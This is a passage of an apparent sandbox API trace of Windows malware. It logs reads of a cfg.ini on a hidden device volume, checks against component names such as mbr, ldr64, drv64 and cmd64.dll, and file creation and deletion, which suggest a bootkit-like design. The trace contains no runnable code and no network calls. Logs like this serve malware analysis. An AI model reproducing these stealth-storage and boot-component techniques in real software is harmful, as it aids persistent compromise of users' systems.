FastMutex=0xfffffa80027d3898) [0118.518] KeLeaveCriticalRegion () [0118.518] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.518] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.518] KeEnterCriticalRegion () [0118.518] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.518] ExFreePoolWithTag (P=0xfffffa80039caf00, Tag=0x0) [0118.518] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.518] KeLeaveCriticalRegion () [0118.518] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.519] ReleaseMutex (hMutex=0xf0) returned 1 [0118.519] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0118.519] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0118.519] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.519] KeEnterCriticalRegion () [0118.519] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.519] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.519] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.519] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.519] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0118.519] IdePortDispatch () returned 0x103 [0118.519] KeWaitForMutexObject () returned 0x0 [0118.519] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.519] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.519] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.519] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0118.519] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0118.519] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039cdd10 [0118.519] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.519] KeLeaveCriticalRegion () [0118.519] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.519] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.519] KeEnterCriticalRegion () [0118.519] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.519] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.520] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.520] KeLeaveCriticalRegion () [0118.520] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.520] KeEnterCriticalRegion () [0118.520] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.520] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.520] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.520] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.520] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0118.520] IdePortDispatch () returned 0x103 [0118.520] KeWaitForMutexObject () returned 0x0 [0118.521] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.521] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.521] KeLeaveCriticalRegion () [0118.521] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.521] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.521] KeEnterCriticalRegion () [0118.521] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.521] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cf0000 [0118.521] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.521] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0118.521] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0118.521] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.521] IdePortDispatch () returned 0x103 [0118.521] KeWaitForMutexObject () returned 0x0 [0118.528] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.528] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.528] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0118.528] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0118.528] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.528] IdePortDispatch () returned 0x103 [0118.528] KeWaitForMutexObject () returned 0x0 [0118.528] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.528] KeLeaveCriticalRegion () [0118.529] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.529] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.529] KeEnterCriticalRegion () [0118.529] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.529] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.529] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.529] KeLeaveCriticalRegion () [0118.529] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.529] KeEnterCriticalRegion () [0118.529] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.529] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0118.529] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003adb990, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0118.529] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.529] KeLeaveCriticalRegion () [0118.529] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.529] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.529] KeEnterCriticalRegion () [0118.529] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.529] ExFreePoolWithTag (P=0xfffffa80039cdd10, Tag=0x0) [0118.529] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.529] KeLeaveCriticalRegion () [0118.529] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.530] ReleaseMutex (hMutex=0xf0) returned 1 [0118.530] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0118.530] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0118.530] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0118.530] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0118.530] KeEnterCriticalRegion () [0118.530] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.530] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.530] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.530] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.530] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0118.530] IdePortDispatch () returned 0x103 [0118.530] KeWaitForMutexObject () returned 0x0 [0118.530] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.530] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0118.530] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.530] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.530] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.530] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0118.530] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0118.530] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.530] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.530] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0118.530] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.530] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.530] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.530] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.530] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.530] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.530] KeLeaveCriticalRegion () [0118.530] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.530] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0118.530] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0118.530] KeEnterCriticalRegion () [0118.530] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.530] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.530] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.530] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.531] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0118.531] IdePortDispatch () returned 0x103 [0118.531] KeWaitForMutexObject () returned 0x0 [0118.531] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.531] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0118.531] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.531] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.531] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.531] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0118.531] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0118.531] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.531] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.531] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0118.531] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.531] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.531] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.531] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.531] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.531] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.531] KeLeaveCriticalRegion () [0118.531] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.531] ReleaseMutex (hMutex=0x100) returned 1 [0118.531] Sleep (dwMilliseconds=0x2bf20) [0118.546] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x69da8870, dwHighDateTime=0x1d24fa4)) [0118.546] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0118.546] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0118.546] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0118.546] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.546] KeEnterCriticalRegion () [0118.546] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.546] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.546] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.546] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.546] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0118.546] IdePortDispatch () returned 0x103 [0118.546] KeWaitForMutexObject () returned 0x0 [0118.546] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.546] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.546] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.546] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0118.546] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0118.546] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bdfde0 [0118.546] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.546] KeLeaveCriticalRegion () [0118.546] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.546] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.546] KeEnterCriticalRegion () [0118.547] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.547] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.547] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.547] KeLeaveCriticalRegion () [0118.547] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.547] KeEnterCriticalRegion () [0118.547] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.547] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.547] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.547] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.547] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0118.547] IdePortDispatch () returned 0x103 [0118.547] KeWaitForMutexObject () returned 0x0 [0118.547] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.547] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.547] KeLeaveCriticalRegion () [0118.547] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.547] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.547] KeEnterCriticalRegion () [0118.547] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.547] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff8800350e000 [0118.547] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.547] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0118.547] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0118.547] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.547] IdePortDispatch () returned 0x103 [0118.547] KeWaitForMutexObject () returned 0x0 [0118.547] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.547] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.548] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0118.548] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0118.548] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.548] IdePortDispatch () returned 0x103 [0118.548] KeWaitForMutexObject () returned 0x0 [0118.548] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.548] KeLeaveCriticalRegion () [0118.548] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.548] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.548] KeEnterCriticalRegion () [0118.548] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.548] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.548] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.548] KeLeaveCriticalRegion () [0118.549] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.549] KeEnterCriticalRegion () [0118.549] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.549] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0118.549] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039d9070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0118.549] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.549] KeLeaveCriticalRegion () [0118.549] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.549] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.549] KeEnterCriticalRegion () [0118.549] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.549] ExFreePoolWithTag (P=0xfffffa8003bdfde0, Tag=0x0) [0118.549] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.549] KeLeaveCriticalRegion () [0118.549] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.549] ReleaseMutex (hMutex=0xf0) returned 1 [0118.549] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0118.549] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0118.549] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.549] KeEnterCriticalRegion () [0118.549] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.549] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.549] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.549] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.549] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0118.549] IdePortDispatch () returned 0x103 [0118.549] KeWaitForMutexObject () returned 0x0 [0118.549] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.549] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.549] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.549] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0118.549] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0118.549] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039d7a00 [0118.549] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.549] KeLeaveCriticalRegion () [0118.549] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.550] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.550] KeEnterCriticalRegion () [0118.550] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.550] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.550] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.550] KeLeaveCriticalRegion () [0118.550] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.550] KeEnterCriticalRegion () [0118.550] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.550] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.550] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.550] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.550] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0118.550] IdePortDispatch () returned 0x103 [0118.550] KeWaitForMutexObject () returned 0x0 [0118.550] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.550] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.550] KeLeaveCriticalRegion () [0118.550] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.550] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, 